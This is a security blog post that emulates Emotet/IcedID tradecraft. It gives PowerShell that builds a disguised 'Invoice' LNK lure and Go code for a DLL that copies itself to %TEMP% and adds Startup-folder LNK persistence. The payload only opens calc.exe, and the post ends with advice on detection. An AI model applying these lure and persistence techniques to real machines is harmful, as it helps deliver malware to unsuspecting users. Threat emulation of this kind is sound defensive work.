Malicious LNK Files on the Rise – Part 2

But wait, there’s more!

In the previous post I showcased how VBScript can be ran via LNK files. This post will discuss how LNK files can be weaponized to run DLLs via PowerShell.

Macro-Enabled Office Documents Are Overrated

There has been a recent shift in Emotet and IcedID campaigns that utilize ZIP or ISO files, instead of Microsoft Office documents, as their lure to distribute malware. Within these ZIP/ISO files are a LNK file and stage 1 DLL. When a user double clicks the LNK file, it launches the stage 1 DLL which downloads the second stage. Typically this leads to a Cobalt Strike beacon being dropped on the victim’s computer.

The goal for this post is to learn about and emulate Emotet/IcedID TTPs. It will require me to create a ZIP file that contains a LNK file and custom DLL. After extracting the contents of the ZIP file and double clicking on the LNK file, PowerShell will automatically be called to launch rundll32 and execute the custom DLL. Unlike the threat I am emulating, there will be no second stage for simplicities sake.

Creating the Lure

I used the same PowerShell script from the previous post. A couple variables need to be changed, however. The first variable that must be changed is $link.targetpath since this is what the LNK file will point to and subsequently execute. It must be changed so that PowerShell is called instead of Command Prompt. The second variable that will be changed is $link.arguments. As one might assume, this variable contains the arguments that will be passed to the target path of the LNK file.

#Initiate the creation of LNK file
$obj = New-object -comobject wscript.shell

#Location to save LNK file
$dirPath = "$env:USERPROFILE\Desktop\lnk\Invoice.lnk"
$link = $obj.createshortcut($dirPath) 

#Window style options, 7=minimized, 3=maximized, 1=normal
$link.windowstyle = "7" 

#Target of LNK file
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

#Icon of LNK displayed in GUI
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe" 

#Command argument
$link.arguments = "-Command Out-String -InputObject Invoice.lnk | Out-Null; rundll32 Web.dll,DllInstall"

#Save LNK file
$link.save()

Run the script and just like that a LNK file is created! When clicked on, it will launch PowerShell and call rundll32 to execute the custom DLL. Since I am learning GoLang, I used this opportunity to exercise what I have learned thus far. Ultimately, the DLL I created is benign and quite simple. But with a little imagination one could see how more nefarious actions could be taken. As seen in recent reports about Emotet/IcedID.

Going for Persistence

The goal was to create a DLL that would create persistence on a machine. In this scenario it launches calc.exe every time the user logs in. The full source code will eventually be made available. Until then, snippets of code can be seen below with a brief description of what it does.

First thing the DLL does is determine if the current machine has been previously infected by checking if a specific DLL (Web.dll) exists in a certain folder (%TEMP$\Exchange). If not, it creates the folder and file. Then it copies the contents of itself to the previously created file.

/*
       Resolves %TEMP% to filepath
    */
    temp, isOK := os.LookupEnv("TEMP")
    if !isOK {
        fmt.Println("Value does not exist.")
    }

    /*
       Checks if %TEMP%\Exchange\Web.dll exists on the system
       Used to verify if the DLL has ran on the system before
    */
    _, err := os.Stat(temp + "\\Exchange\\Web.dll")

    /*
        If loop will run the first time the DLL is ran on the system
        Copies DLL in ZIP file to %TEMP%\Exchange
        Creates LNK file in user's Startup folder to run DLL
    */
    if err != nil {
        /*
            Checks if %TEMP%\Exchange exists on the system, if not it is created
        */
        _, err := os.Stat(temp + "\\Exchange")

        if os.IsNotExist(err) {
            os.Mkdir(temp+"\\Exchange", 0750)
        }

        /*
           Source file that will be copied
        */
        srcFile, err := os.Open("Web.dll")
        if err != nil {
            log.Fatal(err)
        }
        defer srcFile.Close()

        /*
           Creates new file on disk
           Destination of copied data
           LNK file created later on will run this newly created file
        */
        newFile, err := os.Create(temp + "\\Exchange\\Web.dll")
        if err != nil {
            log.Fatal(err)
        }
        defer newFile.Close()

        /*
           Copies data from source file to destination file
        */
        _, err = io.Copy(newFile, srcFile)
        if err != nil {
            log.Fatal(err)

Persistence is achieved by creating a LNK file in the user’s Startup folder. Whenever the user logs in the DLL is automatically executed. For my purposes, PowerShell was used to create the LNK file. To be more stealthy the Windows API could be used.

/*
           Resolves %APPDATA% to filepath
        */
        appData, isOK := os.LookupEnv("APPDATA")
        if !isOK {
            fmt.Println("Value does not exist.")
        } else {
            startupLoc = appData + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Exchange.lnk" //Location of LNK file in user's Startup folder
        }

        /*
           PowerShell oneliner to create a LNK file in the user's Startup folder
        */
        if _, err := os.Stat(startupLoc); err != nil {
            exePath, _ := exec.LookPath("powershell")
            exeCmd := &exec.Cmd{
                Path:   exePath,
                Args:   []string{exePath, `$obj = New-object -comobject wscript.shell;$link = $obj.createshortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Exchange.lnk");$link.windowstyle = "7";$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe";$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe";$link.arguments = "rundll32 $env:Temp\Exchange\Web.dll,DllInstall";$link.save()`},
                Stdout: os.Stdout,
                Stderr: os.Stdout,
            }

            if err := exeCmd.Run(); err != nil {
                fmt.Println("Error: ", err)
            }

As stated previously, the DLL simply opens calc.exe.

exePath, _ := exec.LookPath("cmd")
    exeCmd := &exec.Cmd{
        Path:   exePath,
        Args:   []string{exePath, "/c", "calc.exe"},
        Stdout: os.Stdout,
        Stderr: os.Stdout,
    }

    /*
        Executes the command above
    */
    if err := exeCmd.Run(); err != nil {
        fmt.Println("Error: ", err)
    }

Conclusion

There will always be a cat and mouse game between cyber criminals and cyber security professionals. No matter what mitigations are in place, cyber criminals will do their best to circumvent them. That is why these criminals have adopted LNK files in response to recent changes Microsoft made to macro-enabled Office documents.

Regardless of how these cyber criminals trick users into clicking on things they should not, it is important to have detections in place for common follow-on actions. Case and point – monitor PowerShell command lines and ASEPs. More than likely the adversary will utilize one, if not both, of these TTPs.